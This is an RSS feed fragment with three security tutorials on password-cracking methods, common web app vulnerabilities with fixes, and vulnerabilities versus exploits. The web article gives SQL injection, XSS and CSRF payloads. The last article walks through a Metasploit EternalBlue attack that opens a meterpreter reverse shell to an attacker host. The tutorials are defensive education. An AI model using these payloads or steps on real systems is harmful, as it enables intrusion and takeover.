                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1747663111032/84a5cdc6-3d13-49e9-bc65-f2b7d0a51ad9.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Passwords are the keys to your digital life  –  email, bank accounts, social media, and even your workplace systems. Unfortunately, they’re also one of the weakest links in cybersecurity. </p>
<p><strong>Every year, billions of credentials are stolen and sold on the dark web.</strong> </p>
<p>Cybercriminals don’t always need advanced techniques to break into your account. Often, they rely on simple, automated methods that exploit human habits ,  like reusing passwords or choosing predictable ones. </p>
<p>Below are five of the most common ways attackers crack passwords and how you can protect yourself.</p>
<h2 id="heading-brute-force-attacks"><strong>Brute Force Attacks</strong></h2>
<p>Brute force attacks are one of the oldest hacking techniques still in use. </p>
<p>In this approach, attackers use a computer program to try every possible combination of characters until it finds the correct password. </p>
<p>While this may seem tedious, tools like Hydra, Medusa, or <a target="_blank" href="https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/">John the Ripper</a> can attempt thousands  –  or even millions  –  of guesses per second.</p>
<p>For example, if your password is “test123,” a brute force tool will likely crack it in seconds. A 6-character password with only lowercase letters has 308 million possible combinations, which modern GPUs can process in minutes or less. </p>
<p>Your best defense against brute force is password length and complexity. </p>
<p>A random, 16-character password with mixed-case letters, numbers, and symbols is practically immune to brute force attacks with today’s hardware. </p>
<p>Using a password manager like NordPass, Bitwarden, or 1Password makes generating and storing such passwords easy and offers <a target="_blank" href="https://nordpass.com/secure-password/">strong password protection</a>. </p>
<h2 id="heading-dictionary-attacks"><strong>Dictionary Attacks</strong></h2>
<p>Unlike brute force, a dictionary attack narrows the search space by trying passwords from a precompiled list of commonly used words and phrases. </p>
<p>These lists often include leaked passwords from previous data breaches, popular sports teams, keyboard patterns like “qwerty” or “123456,” and even names or swear words. They are also called <a target="_blank" href="https://www.freecodecamp.org/news/the-power-of-wordlists-why-every-ethical-hacker-needs-one/">wordlists</a>. </p>
<p>Many people mistakenly believe that tweaking a common password  –  for instance, changing “password” to “P@ssw0rd!”  –  makes it secure. But dictionary attack tools account for these variations. </p>
<p>For instance, the tool <a target="_blank" href="https://www.kali.org/tools/crunch/">Crunch</a> allows attackers to generate wordlists with pattern-based rules, meaning “Welcome@123” is still a likely guess.</p>
<p>“123456”, “password”, and “qwerty” are still among the most common passwords in the world. Even passwords like “iloveyou” and “dragon” show up repeatedly.</p>
<p>To protect yourself, never use real words, names, or predictable patterns in your passwords. Instead, try using passphrases that are long, random, and unique  –  such as “truck-pillow-coffee-skyline” or a completely random string like “g6D@!rXplQ8#1zVn”. </p>
<p>Again, a password manager is the easiest way to maintain this level of randomness and uniqueness.</p>
<h2 id="heading-credential-stuffing"><strong>Credential Stuffing</strong></h2>
<p>Credential stuffing is one of the most successful and least sophisticated attack methods. It exploits one simple fact: people reuse passwords across multiple accounts. </p>
<p>When a site like LinkedIn or Dropbox gets breached and the passwords leak online, attackers take those stolen credentials and try them on other websites  – your email, Facebook, Netflix, or even bank portals.</p>
<p>This technique is highly automated. Attackers use bots to test thousands of username-password combinations across dozens of sites until they find a match. </p>
<p>Let’s say you used your Gmail password to sign up for a small forum years ago. That forum gets hacked, and your login details are exposed. If you’re still using that same password on Gmail, attackers now have a key to your inbox  –  which also means they may get access to all your other accounts via password reset links.</p>
<p>To defend against credential stuffing, use a unique password for every account. You don’t need to memorize all of them  –  just use a reputable password manager. </p>
<p>Also, turn on multi-factor authentication (MFA) wherever possible, so even if someone has your password, they still can’t log in without the second factor.</p>
<h2 id="heading-phishing-attacks"><strong>Phishing Attacks</strong></h2>
<p>Phishing isn’t a technical exploit  –  it’s a psychological one. </p>
<p>Instead of guessing your password, attackers trick you into giving it away. </p>
<p><a target="_blank" href="https://www.freecodecamp.org/news/how-to-recognize-phishing-email/">Phishing</a> often comes in the form of fake emails, text messages, or websites that look legitimate but are designed to steal your credentials.</p>
<p>For example, you might receive an email that looks like it’s from your bank, asking you to “verify your account.” The link takes you to a fake login page that captures your username and password the moment you enter them. </p>
<p>Tools like Evilginx and Modlishka can even bypass MFA by intercepting tokens in real time.</p>
<p>Phishing is widespread because it works. According to <a target="_blank" href="https://www.cisa.gov/">CISA</a>, phishing was the most common initial attack vector in 2022. And it’s getting more convincing with the use of AI to write emails, spoof sender addresses, and create realistic-looking websites.</p>
<p>To stay safe, never click on suspicious links or enter login details on a site you reached through an email. Always type URLs manually or use browser bookmarks for sensitive sites like banking or email. </p>
<p>Train yourself to spot red flags  –  like poor grammar, urgency, or mismatched sender names.</p>
<h2 id="heading-social-engineering-and-password-resets"><strong>Social Engineering and Password Resets</strong></h2>
<p>Sometimes, hackers don’t need technical skills at all  –  they just need to be convincing. </p>
<p><a target="_blank" href="https://www.freecodecamp.org/news/modern-social-engineering-cyberattacks/">Social engineering</a> involves manipulating people into giving up confidential information. One common tactic is calling customer support and pretending to be you. If the rep isn’t careful, they might reset your password or give access to your account.</p>
<p>This actually happened to <a target="_blank" href="https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/">tech journalist Mat Honan in 2012</a>, when hackers used social engineering to take over his Apple account. They then used it to wipe his phone, lock him out of email, and access other connected services.</p>
<p>Another trick is exploiting weak password reset systems. If a service allows you to reset your password by answering questions like “What’s your pet’s name?” or “Where were you born?”, attackers may already know the answers from your social media or data leaks.</p>
<p>To avoid this risk, limit what personal information you share online. </p>
<p>Use fake answers for password reset questions  –  just store them in your password manager. </p>
<p>And wherever possible, enable two-factor authentication using an app like Authy or Google Authenticator instead of relying on SMS, which can be intercepted via SIM swapping.</p>
<h2 id="heading-defense-is-easier-than-recovery"><strong>Defense is Easier Than Recovery</strong></h2>
<p>Cybercriminals don’t always need to “hack” their way in  –  they just need you to slip up. </p>
<p>The good news is that most password attacks rely on human error and predictable habits. By using a password manager, enabling multi-factor authentication, and staying alert to phishing attempts, you can block nearly all of these threats.</p>
<p>Think of your digital life like a house. Would you use the same key for your home, car, office, and locker? Would you leave it under the mat? That’s exactly what weak or reused passwords do online.</p>
<p>Stay one step ahead. Lock your digital doors properly  – and don’t give attackers the key.</p>
<p>Join the <a target="_blank" href="https://newsletter.stealthsecurity.sh/"><strong>Stealth Security Newsletter</strong></a> for more articles on Cybersecurity.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Top Ways Hackers Exploit Web Applications (and How to Prevent Them) ]]>
                </title>
                <description>
                    <![CDATA[ Every website that takes user input is a potential target for an attacker. You might think your app is too small or too new to get noticed, but attackers use tools to scan the web for common security mistakes. If your site is online and has a login f... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-hackers-exploit-web-applications-and-how-to-prevent-them/</link>
                <guid isPermaLink="false">682354c58b3805ff1d2335d0</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 13 May 2025 14:18:45 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1747060147180/03146ca3-bc12-4d00-bdde-985817a0893c.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Every website that takes user input is a potential target for an attacker.</p>
<p>You might think your app is too small or too new to get noticed, but attackers use tools to scan the web for common security mistakes.</p>
<p>If your site is online and has a login form, a search box, or a database, it’s already being tested.</p>
<p>But here’s the good news: you don’t need to be a cybersecurity expert to protect your app. You just need to understand how these attacks work and write safer code.</p>
<p>Let’s go through ten of the most common ways hackers break into web apps—and how to fix each one, with clear examples.</p>
<h3 id="heading-heres-what-well-cover">Here’s what we’ll cover:</h3>
<ol>
<li><p><a class="post-section-overview" href="#heading-sql-injection">SQL Injection</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-broken-or-weak-authentication">Broken or Weak Authentication</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-insecure-direct-object-references-idor">Insecure Direct Object References (IDOR)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-security-misconfiguration">Security Misconfiguration</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-sensitive-data-exposure">Sensitive Data Exposure</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-using-outdated-libraries">Using Outdated Libraries</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-broken-access-control">Broken Access Control</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-no-logging-or-monitoring">No Logging or Monitoring</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ol>
<h2 id="heading-sql-injection">SQL Injection</h2>
<p>Hackers exploit this when your app lets them send raw SQL commands directly to your database. Here’s an insecure example in PHP:</p>
<pre><code class="lang-php">$sql = <span class="hljs-string">"SELECT * FROM users WHERE username = '<span class="hljs-subst">$username</span>' AND password = '<span class="hljs-subst">$password</span>'"</span>;
</code></pre>
<p>If a user enters this as the username:</p>
<pre><code class="lang-plaintext">' OR 1=1 --
</code></pre>
<p>The query becomes:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">''</span> <span class="hljs-keyword">OR</span> <span class="hljs-number">1</span>=<span class="hljs-number">1</span> <span class="hljs-comment">--' AND password = '';</span>
</code></pre>
<p>This returns all users – because <code>1=1</code> is always true. That means anyone can log in without knowing a password.</p>
<p>This is called <em>string-building</em>, where user input is directly inserted into the SQL command. It treats the input as part of the code, not just data.</p>
<h3 id="heading-the-fix-use-prepared-statements"><strong>The fix: use prepared statements</strong></h3>
<p>Prepared statements separate code from data. The SQL command is defined once, and user values are passed separately – so they can’t break the logic.</p>
<p>Here’s the same query using PHP with PDO:</p>
<pre><code class="lang-php">$stmt = $pdo-&gt;prepare(<span class="hljs-string">"SELECT * FROM users WHERE username = ? AND password = ?"</span>);
$stmt-&gt;execute([$username, $password]);
</code></pre>
<p>This makes your code immune to SQL injection – even if a user tries to inject malicious input.</p>
<h2 id="heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2>
<p>Let’s say your site shows comments. If someone posts this:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">alert(<span class="hljs-string">'Gotcha!'</span>);</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>And your site displays it as-is, every visitor sees a popup. That’s a basic XSS attack. A real attacker could do much worse – like stealing session cookies or redirecting users to fake login pages.</p>
<h3 id="heading-the-fix-escape-what-you-show"><strong>The fix: escape what you show</strong></h3>
<p>Escaping means converting special characters like <code>&lt;</code> and <code>&gt;</code> into harmless text.</p>
<p>In PHP:</p>
<pre><code class="lang-php"><span class="hljs-keyword">echo</span> htmlspecialchars($userInput, ENT_QUOTES, <span class="hljs-string">'UTF-8'</span>);
</code></pre>
<p>In JavaScript, you can use libraries like DOMPurify:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> safeHTML = DOMPurify.sanitize(userInput);
</code></pre>
<p>Never trust user input – especially when putting it back into your HTML.</p>
<h2 id="heading-cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</h2>
<p>CSRF tricks a logged-in user’s browser into making an unwanted request to your site – without their knowledge.</p>
<p>Here’s how it works: a user logs into your app and then visits a malicious site. That site contains code like:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://yourapp.com/delete-account"</span> /&gt;</span>
</code></pre>
<p>Since the user is already logged in, their browser sends the request – with cookies and all. If your app doesn’t check for CSRF, it assumes the user wanted to delete their account.</p>
<h3 id="heading-the-fix-use-csrf-tokens"><strong>The fix: use CSRF tokens</strong></h3>
<p>These are unique, secret values included in forms:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"csrf_token"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"abc123"</span>&gt;</span>
</code></pre>
<p>Your server must check this token on every request. If it’s missing or incorrect, reject the request. Most frameworks (like Laravel or Django) do this automatically.</p>
<h2 id="heading-broken-or-weak-authentication">Broken or Weak Authentication</h2>
<p>If your login system is too simple, it’s an easy target.</p>
<p><strong>Common mistake:</strong> storing passwords in plain text:</p>
<pre><code class="lang-php">file_put_contents(<span class="hljs-string">'users.txt'</span>, <span class="hljs-string">"<span class="hljs-subst">$username</span>:<span class="hljs-subst">$password</span>\n"</span>);
</code></pre>
<p>If this file leaks, all user accounts are exposed.</p>
<h3 id="heading-the-fix-hash-passwords"><strong>The fix: hash passwords</strong></h3>
<pre><code class="lang-php">$hash = password_hash($password, PASSWORD_DEFAULT);
</code></pre>
<p>And to check them later:</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> (password_verify($password, $storedHash)) {
    <span class="hljs-comment">// Login success</span>
}
</code></pre>
<p>Other critical fixes:</p>
<ul>
<li><p><strong>Rate limit login attempts:</strong> Block or delay after 5 failed tries.</p>
</li>
<li><p><strong>Add multi-factor authentication (MFA):</strong> Send a one-time code via email or app.</p>
</li>
<li><p><strong>Use strong password policies:</strong> Require longer passwords with a mix of characters.</p>
</li>
</ul>
<p>Each step makes brute-force attacks harder and protects user accounts.</p>
<h2 id="heading-insecure-direct-object-references-idor">Insecure Direct Object References (IDOR)</h2>
<p>Suppose your site has this URL:</p>
<pre><code class="lang-plaintext">/invoice?id=123
</code></pre>
<p>A hacker tries:</p>
<pre><code class="lang-plaintext">/invoice?id=124
</code></pre>
<p>Suddenly, they can see someone else’s invoice.</p>
<h3 id="heading-the-fix-verify-ownership"><strong>The fix: verify ownership</strong></h3>
<pre><code class="lang-php">$stmt = $pdo-&gt;prepare(<span class="hljs-string">"SELECT * FROM invoices WHERE id = ? AND user_id = ?"</span>);
$stmt-&gt;execute([$invoiceId, $loggedInUserId]);
</code></pre>
<p>Always confirm the logged-in user owns the data they’re trying to access.</p>
<h2 id="heading-security-misconfiguration">Security Misconfiguration</h2>
<p>This refers to using insecure default settings or forgetting to disable things that shouldn't be public.</p>
<p><strong>Examples include:</strong></p>
<ul>
<li><p>Leaving error messages on in production (<code>display_errors = 1</code>)</p>
</li>
<li><p>Exposing admin panels or debug tools</p>
</li>
<li><p>Using default passwords or outdated software</p>
</li>
</ul>
<p>These aren’t bugs in your code – but they’re just as dangerous.</p>
<h3 id="heading-the-fix-disable-detailed-error-reporting-in-production"><strong>The fix:</strong> disable detailed error reporting in production:</h3>
<pre><code class="lang-php">ini_set(<span class="hljs-string">'display_errors'</span>, <span class="hljs-number">0</span>);
</code></pre>
<p>And secure admin tools with passwords, IP allowlists, or move them behind a VPN or private path.</p>
<h2 id="heading-sensitive-data-exposure">Sensitive Data Exposure</h2>
<p>If you send user data over HTTP instead of HTTPS, anyone on the network can read it – like passwords or credit card numbers.</p>
<p><strong>Example of unsafe code:</strong></p>
<pre><code class="lang-php">file_put_contents(<span class="hljs-string">'logs.txt'</span>, <span class="hljs-string">"User: <span class="hljs-subst">$username</span>, Password: <span class="hljs-subst">$password</span>"</span>);
</code></pre>
<p>If that log file is exposed, all passwords are leaked.</p>
<p><strong>Fixes:</strong></p>
<ul>
<li><p>Use HTTPS everywhere. Tools like <a target="_blank" href="https://letsencrypt.org/">Let’s Encrypt</a> make it free and easy.</p>
</li>
<li><p>Never store passwords in logs.</p>
</li>
<li><p>Encrypt sensitive data at rest, especially if it’s personally identifiable info (PII) or financial data.</p>
</li>
</ul>
<h2 id="heading-using-outdated-libraries">Using Outdated Libraries</h2>
<p>Most apps use external libraries. If one has a known vulnerability, attackers can exploit it – even if your code is perfect.</p>
<p><strong>To protect yourself:</strong></p>
<ul>
<li>Regularly update dependencies. In Node.js:</li>
</ul>
<pre><code class="lang-bash">npm audit fix
</code></pre>
<ul>
<li>In PHP:</li>
</ul>
<pre><code class="lang-bash">composer update
</code></pre>
<ul>
<li>Replace unmaintained libraries with safer alternatives.</li>
</ul>
<h2 id="heading-broken-access-control">Broken Access Control</h2>
<p>Some apps try to control access just by hiding buttons on the UI.</p>
<p><strong>Example:</strong> A user isn’t shown the “delete post” button – but they manually send a request like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">POST /delete-post?id=5</span>
</code></pre>
<p>If the backend doesn’t check permissions, the request goes through.</p>
<h3 id="heading-the-fix-enforce-access-control-on-the-backend"><strong>The fix: enforce access control on the backend</strong></h3>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> ($user-&gt;role !== <span class="hljs-string">'admin'</span>) {
    http_response_code(<span class="hljs-number">403</span>);
    <span class="hljs-keyword">exit</span>;
}
</code></pre>
<p>Don’t rely on the front-end to block actions. The server must check every request and confirm the user is allowed to perform the action.</p>
<h2 id="heading-no-logging-or-monitoring">No Logging or Monitoring</h2>
<p>If something suspicious happens and you don’t have logs, you’ll never know.</p>
<p><strong>Example log entry (in Laravel):</strong></p>
<pre><code class="lang-php">Log::info(<span class="hljs-string">'User login'</span>, [<span class="hljs-string">'user_id'</span> =&gt; $user-&gt;id]);
</code></pre>
<p>Set up alerts for suspicious behavior – like 100 failed logins in 10 minutes. Use monitoring tools like Sentry, Datadog, or ELK Stack to watch your app in real time.</p>
<p>If you don’t track what’s happening, you can’t stop it when things go wrong.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Hackers don’t need advanced tools. Most just look for easy wins – unescaped forms, plaintext passwords, outdated libraries, or exposed admin areas.</p>
<p>If you follow the basics in this guide, you’ll block 90% of those attacks.</p>
<p>You don’t need to fix everything today. Start with one item. Escape user input. Use HTTPS. Add CSRF protection. Each fix makes your app a little safer.</p>
<p><strong>Want to learn more?</strong> Get strong basics in offensive security—take the <a target="_blank" href="https://start.stealthsecurity.sh/"><em>Security Starter</em> course</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Understanding Vulnerabilities and Exploits for Ethical Hackers ]]>
                </title>
                <description>
                    <![CDATA[ Understanding vulnerabilities and exploits is crucial for anyone interested in cybersecurity. Let's learn what they are. What Are Vulnerabilities? A vulnerability is a flaw in software or hardware that attackers can exploit. These flaws can range fro... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/vulnerabilities-vs-exploits-for-ethical-hackers/</link>
                <guid isPermaLink="false">67eff5fe4b8a95f016459cda</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 04 Apr 2025 15:08:46 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743631883009/63a15afa-c901-4445-b646-cd9a4c44e964.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Understanding vulnerabilities and exploits is crucial for anyone interested in cybersecurity. Let's learn what they are.</p>
<h2 id="heading-what-are-vulnerabilities">What Are Vulnerabilities?</h2>
<p>A vulnerability is a flaw in software or hardware that attackers can exploit. These flaws can range from weak passwords to outdated software.</p>
<p>For example, if you use default credentials when setting up a web server, you are creating a vulnerability. Attackers can look up the default login details in documentation and gain access to your server.</p>
<p>One of the most common vulnerabilities is outdated software. If you neglect to update your systems, they become easy targets.</p>
<p>Security updates exist for a reason — they patch known vulnerabilities. If you don’t apply these updates, your system remains vulnerable to known attacks.</p>
<h2 id="heading-what-are-exploits">What are Exploits?</h2>
<p>An exploit is a technique or code that takes advantage of a vulnerability.</p>
<p>If an attacker finds a system with a weak password, they can use a brute-force attack to guess the password. In this case, the weak password is the vulnerability, and brute-forcing is the exploit.</p>
<p>In many cases, exploits are pre-written scripts that automate attacks. For example, an exploit for a vulnerable web application might allow an attacker to gain administrator access without a password.</p>
<p>Cybercriminals often share these exploits online, making it easy for even inexperienced attackers to compromise systems.</p>
<h2 id="heading-real-world-examples-of-vulnerabilities-and-exploits">Real-World Examples of Vulnerabilities and Exploits</h2>
<p>Several well-known vulnerabilities have led to massive cyberattacks. Here are a few examples:</p>
<h3 id="heading-eternalblue-and-wannacryhttpswwwhyprcomsecurity-encyclopediaeternalblue"><a target="_blank" href="https://www.hypr.com/security-encyclopedia/eternalblue"><strong>EternalBlue and WannaCry</strong></a></h3>
<p>EternalBlue was a Windows Server Message Block (SMB) protocol vulnerability.</p>
<p>Attackers exploited it to spread the WannaCry ransomware, which infected computers worldwide in 2017. This attack was so damaging because many organizations failed to update their Windows systems.</p>
<h3 id="heading-heartbleedhttpsenwikipediaorgwikiheartbleed"><a target="_blank" href="https://en.wikipedia.org/wiki/Heartbleed"><strong>Heartbleed</strong></a></h3>
<p>This was a vulnerability in OpenSSL, a widely used encryption library. Attackers could exploit Heartbleed to steal sensitive data from servers, including passwords and encryption keys.</p>
<h3 id="heading-bluekeephttpsenwikipediaorgwikibluekeep"><a target="_blank" href="https://en.wikipedia.org/wiki/BlueKeep"><strong>BlueKeep</strong></a></h3>
<p>BlueKeep was a vulnerability in the Remote Desktop Protocol (RDP) that allowed attackers to take full control of a system remotely. If exploited, it could let malware spread across networks without user interaction.</p>
<h2 id="heading-zero-day-exploits-the-most-dangerous-threat">Zero-Day Exploits: The Most Dangerous Threat</h2>
<p>A <strong>zero-day exploit</strong> targets a vulnerability that has no known patch.</p>
<p>This means that even the software developer is unaware of the flaw when an attacker discovers it. Zero-day exploits are particularly dangerous because they give attackers a head start before a fix is released.</p>
<p>For example, if a critical vulnerability is found in a popular operating system, cybercriminals can develop exploits before users have a chance to update their systems.</p>
<p>This makes it essential for companies and security teams to monitor for emerging threats and respond quickly.</p>
<h2 id="heading-where-do-vulnerabilities-and-exploits-get-published">Where Do Vulnerabilities and Exploits Get Published?</h2>
<p>There are public databases where vulnerabilities and exploits are documented. One such database is <a target="_blank" href="https://www.exploit-db.com/">Exploit Database (exploit-db.com)</a>.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*bmPxk_odUTUQRdy8kgnkhg.png" alt="Exploit DB" width="600" height="400" loading="lazy"></p>
<p>Security researchers and ethical hackers contribute to these databases by sharing details of known vulnerabilities and how they can be exploited.</p>
<p>If you scan a server and find that it’s running an old version of Apache, you can search for “Apache 2.7 vulnerabilities” on Exploit Database to see if any exploits exist. This is how security professionals check for risks in their systems.</p>
<p>However, malicious hackers also use these databases to find attack opportunities.</p>
<h2 id="heading-command-line-tools-for-finding-exploits">Command-Line Tools for Finding Exploits</h2>
<p>If you prefer working in a terminal, there’s a command-line alternative called <strong>SearchSploit</strong>. This tool allows you to search the Exploit Database without opening a web browser.</p>
<p>SearchSploit comes pre-installed in security-focused operating systems like Kali Linux and Parrot OS.</p>
<p>To use it, you simply type:</p>
<pre><code class="lang-plaintext">searchsploit eternalblue
</code></pre>
<p>This command will return a list of known exploits for the <strong>EternalBlue</strong> vulnerability.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*cVQJ0aaUeQnCqCH3YsJFkA.png" alt="Searchsploit results" width="600" height="400" loading="lazy"></p>
<p>But what if you don’t know the name of a specific vulnerability? SearchSploit allows you to search more broadly. You can list known vulnerabilities for a particular software or service by using keywords. For example, to check for vulnerabilities related to <strong>Apache</strong>, you can run:</p>
<pre><code class="lang-bash">searchsploit apache
</code></pre>
<p>This will display a list of exploits related to Apache servers.</p>
<p>Additionally, you can use the <strong>-w</strong> flag to open exploit references in a web browser:</p>
<pre><code class="lang-bash">searchsploit -w apache
</code></pre>
<p>SearchSploit is a powerful tool that helps you quickly find and test known vulnerabilities.</p>
<h2 id="heading-automating-exploitation-with-metasploit"><strong>Automating Exploitation with Metasploit</strong></h2>
<p>Finding and exploiting vulnerabilities manually can be time-consuming. This is where <strong>Metasploit</strong> comes in.</p>
<p>Metasploit is a powerful framework for penetration testing and security research. It automates many aspects of exploitation, from scanning for vulnerabilities to gaining access to a system.</p>
<p>Metasploit consists of:</p>
<ul>
<li><p><strong>Exploits</strong> – Code designed to take advantage of specific vulnerabilities.</p>
</li>
<li><p><strong>Payloads</strong> – Malicious code that runs on a target system after a successful exploit.</p>
</li>
<li><p><strong>Auxiliary Modules</strong> – Tools for scanning, fingerprinting, and reconnaissance.</p>
</li>
</ul>
<p>Let’s say an ethical hacker wants to test whether a machine is vulnerable to EternalBlue (MS17-010), a well-known Windows exploit.</p>
<h3 id="heading-step-1-open-metasploit"><strong>Step 1: Open Metasploit</strong></h3>
<p>First, launch the Metasploit Framework by running:</p>
<pre><code class="lang-bash">msfconsole
</code></pre>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*bJfYlcEtG8MCG5WCVfNPmQ.png" alt="Metasploit Console" width="600" height="400" loading="lazy"></p>
<h3 id="heading-step-2-search-for-the-eternalblue-exploit"><strong>Step 2: Search for the EternalBlue Exploit</strong></h3>
<p>To find available exploits, we can search within Metasploit:</p>
<pre><code class="lang-bash">search eternalblue
</code></pre>
<p>This returns a list of available modules related to EternalBlue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743732083488/f5fb1d50-516f-4a2a-913c-1fe74d9e249c.png" alt="Eternal blue search - Metasploit" class="image--center mx-auto" width="1608" height="1074" loading="lazy"></p>
<p>The main exploit module is:</p>
<pre><code class="lang-plaintext">exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<h3 id="heading-step-3-select-and-use-the-exploit"><strong>Step 3: Select and Use the Exploit</strong></h3>
<p>Now, they load the module:</p>
<pre><code class="lang-bash">use exploit/windows/smb/ms17_010_eternalblue
</code></pre>
<h3 id="heading-step-4-set-the-target-ip-address"><strong>Step 4: Set the Target IP Address</strong></h3>
<p>The hacker sets the target machine’s IP address:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS 192.168.1.10
</code></pre>
<h3 id="heading-step-5-choose-a-payload"><strong>Step 5: Choose a Payload</strong></h3>
<p>They select a payload that will open a reverse shell on the target:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> PAYLOAD windows/x64/meterpreter/reverse_tcp
<span class="hljs-built_in">set</span> LHOST 192.168.1.5   <span class="hljs-comment"># The attacker's machine</span>
<span class="hljs-built_in">set</span> LPORT 4444          <span class="hljs-comment"># The port to listen on</span>
</code></pre>
<h3 id="heading-step-6-launch-the-exploit"><strong>Step 6: Launch the Exploit</strong></h3>
<p>Finally, they execute the attack:</p>
<pre><code class="lang-bash">exploit
</code></pre>
<p>If successful, this provides a <strong>Meterpreter shell</strong>, allowing full control over the target system.</p>
<p>Using Metasploit, an attacker can scan a system for vulnerabilities, select an exploit, choose a payload, and execute the attack — all in a few simple commands.</p>
<p>This is why both ethical hackers and cybercriminals widely use Metasploit. <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">Here is a full tutorial on Metasploit</a> if you’d like to know more about how you can use it as an ethical hacker.</p>
<h2 id="heading-how-to-stay-protected">How to Stay Protected?</h2>
<p>Understanding vulnerabilities and exploits is the first step in defending against cyber threats. Here are some key strategies to protect yourself:</p>
<ol>
<li><p><strong>Keep software updated</strong> — Install security patches as soon as they are released.</p>
</li>
<li><p><strong>Use strong passwords</strong> — Avoid using default or weak passwords. Implement multi-factor authentication (MFA) where possible.</p>
</li>
<li><p><strong>Scan your systems regularly</strong> — Use tools like Nessus or OpenVAS to check for vulnerabilities.</p>
</li>
<li><p><strong>Monitor exploit databases</strong> — Stay aware of new vulnerabilities that might affect your systems.</p>
</li>
<li><p><strong>Use security tools</strong> — Firewalls, intrusion detection systems, and endpoint security software can help prevent exploits from succeeding.</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Vulnerabilities are weaknesses in software or hardware, while exploits are the methods attackers use to take advantage of them. Some exploits are well-known and documented, while others, like zero-day attacks, appear suddenly and without warning.</p>
<p>By understanding how exploits work and staying vigilant with security updates, you can reduce the risk of becoming a target. Cybersecurity is an ongoing battle, and the best defense is staying informed and proactive.</p>
<p><a target="_blank" href="https://newsletter.stealthsecurity.sh/"><em>Join my weekly newsletter</em></a> <em>to get more cybersecurity tutorials delivered to you every Friday. To learn hands-on offensive cybersecurity in five days, check out my</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><em>Security Starter</em></a> <em>course.</em></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
